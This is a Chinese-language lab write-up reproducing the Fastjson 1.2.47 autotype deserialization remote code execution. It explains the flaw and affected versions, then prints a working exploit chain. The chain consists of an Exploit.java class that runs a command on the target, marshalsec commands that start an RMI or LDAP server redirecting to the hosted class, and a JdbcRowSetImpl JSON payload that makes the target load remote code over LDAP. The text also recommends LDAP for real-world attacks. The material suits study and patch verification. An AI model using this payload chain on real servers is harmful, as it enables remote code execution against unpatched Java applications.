漏洞原理
Fastjson 是阿里巴巴的開源JSON解析庫,它可以解析 JSON 格式的字符串,支持將 Java Bean 序列化為 JSON 字符串,也可以從 JSON 字符串反序列化到 JavaBean。
Fastjson提供了autotype功能,允許用戶在反序列化數據中通過“@type”指定反序列化的類型,其次,Fastjson自定義的反序列化機制時會調用指定類中的setter方法及部分getter方法,那么當組件開啟了autotype功能並且反序列化不可信數據時,攻擊者可以構造數據,使目標應用的代碼執行流程進入特定類的特定setter或者getter方法中,若指定類的指定方法中有可被惡意利用的邏輯(也就是通常所指的“Gadget”),則會造成一些嚴重的安全問題。並且在Fastjson 1.2.47及以下版本中,利用其緩存機制可實現對未開啟autotype功能的繞過。
漏洞利用如下:
影響版本
Fastjson1.2.47以及之前的版本
環境搭建
1、攻擊機
IP地址:192.168.214.1
操作系統:windows10
利用工具:火狐游覽器、Burp Suite
2、VPS服務器
IP地址:192.168.214.137
操作系統:centos7.4
相關應用:tomcat8,jdk8u181
開啟端口:8080
利用工具:marshalsec-0.0.3-SNAPSHOT-all.jar
3、靶機
IP地址:192.168.214.138
操作系統:windows server 2008 r2 standard
相關應用:tomcat7,jdk8u181
開啟端口:8080
攻擊思路:攻擊機利用burpsuite構造playload,通過訪問vps服務器攻擊靶機,進行命令執行。
復現漏洞注意:jdk不能高於如下版本,VPS和靶機的jdk版本保持一致最佳
反序列化常用的兩種利用方式,一種是基於rmi,一種是基於ldap。RMI是一種行為,指的是Java遠程方法調用。
ldap指輕量級目錄訪問協議。具體可參考https://xz.aliyun.com/t/7079
Rmi與ldap存在java版本限制:
基於rmi的利用方式:適用jdk版本:JDK 6u141, JDK 7u131, JDK 8u121之前。
在jdk8u122的時候,加入了反序列化白名單的機制,關閉了rmi遠程加載代碼。
基於ldap的利用方式:適用jdk版本:JDK 11.0.1、8u182、7u191、6u201之前。
在Java 8u191更新中,Oracle對LDAP向量設置了相同的限制,並發布了CVE-2018-3149,關閉了JNDI遠程類加載。
可以看到ldap的利用范圍是比rmi要大的,實戰情況下推薦使用ldap方法進行利用。
攻擊利用
1、將含有fastjson-1.2.47.jar的demo壓縮包解壓,布置在靶機的webapps目錄下,開啟tomcat服務,瀏覽器能夠正常進行訪問
攻擊機能夠正常訪問靶機的demo。
2、將marshalsec-0.0.3-SNAPSHOT-all.jar 和編譯好的Exploit.class上傳到VPS服務器的網站根目錄下
使用瀏覽器可以進行訪問或者下載,
Exploit.java構造的執行命令內容如下:
1 import java.io.BufferedReader; 2 import java.io.InputStream; 3 import java.io.InputStreamReader; 4 5 public class Exploit{ 6 public Exploit() throws Exception { 7 Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});//執行命令打開計算器程序 8 InputStream is = p.getInputStream(); 9 BufferedReader reader = new BufferedReader(new InputStreamReader(is)); 10 11 String line; 12 while((line = reader.readLine()) != null) { 13 System.out.println(line); 14 } 15 16 p.waitFor(); 17 is.close(); 18 reader.close(); 19 p.destroy(); 20 } 21 22 public static void main(String[] args) throws Exception { 23 } 24 }
然后在VPS服務器上可以使用RMI或者LDAP的服務,將reference result 重定向到web服務器(即文件Exploit.class的存放位置)。
1 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://x.x.x.x/#Exploit" 9999
2 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://x.x.x.x/#Exploit" 9999
這里我使用的是LDAP服務,畢竟覆蓋的jdk版本范圍更廣,更容易復現漏洞,在網站根目錄下使用marshalsec-0.0.3-SNAPSHOT-all.jar工具開啟LDAP。
3、攻擊機上使用火狐游覽器訪問靶機的demo服務,使用burpsuite截包,構造playload重發包
Playload構造如下:
1 { 2 "name": { 3 "@type": "java.lang.Class", 4 "val": "com.sun.rowset.JdbcRowSetImpl" 5 }, 6 "x": { 7 "@type": "com.sun.rowset.JdbcRowSetImpl", 8 "dataSourceName": "ldap://192.168.214.137:9999/Exploit", 9 "autoCommit": true 10 } 11 }
4、執行結果
VPS顯示已連接,執行了Expolit.class,
攻擊機通過fastjson漏洞執行命令,打開了靶機的計算器。